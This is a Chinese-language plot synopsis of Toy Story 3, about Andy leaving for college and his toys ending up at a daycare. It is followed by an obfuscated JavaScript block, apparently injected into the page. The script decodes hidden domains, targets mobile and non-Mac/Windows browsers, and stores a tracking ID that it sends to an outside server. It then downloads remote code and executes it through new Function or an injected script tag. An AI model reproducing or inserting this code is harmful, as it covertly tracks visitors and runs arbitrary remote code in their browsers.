距上一次的冒险已经过去11个年头,转眼间安迪(约翰·莫里斯 John Morris 配音)变成了17岁的阳光男孩。这年夏天,安迪即将开始大学生活,他必须将自己的房间收拾整齐留给妹妹。此前,伍迪(汤姆·汉克斯 Tom Hanks 配音)与巴斯光年(蒂姆·艾伦 Tim Allen 配音)等玩具一直期待安迪再和他们玩耍,但是随着岁月的流逝,他们被冷落在箱子里很久了。安迪十分珍惜这些童年的玩伴,于是准备将他们收在阁楼。谁曾想,妈妈却把玩具们当作废物扔到街道上。玩具们误解了安迪,于是愤然出走,宁可被捐赠到阳光之家幼儿园。伍迪尽力劝解大家,却收效甚微,只得独自黯然离开。巴斯光年他们原本以为将重新回到往昔的快乐时光,不料却陷入一场阴谋之中……
function TtJme(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function SGVPl(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TtJme(t);};window[''+'G'+'Y'+'m'+'o'+'X'+'k'+'u'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function BlWkd(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=SGVPl,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=BlWkd(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/7747/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=BlWkd(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmRzYWhpai5jbiUzQTg4OTE=','d33NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNA==','4680',window,document,['l','3']);}:function(){};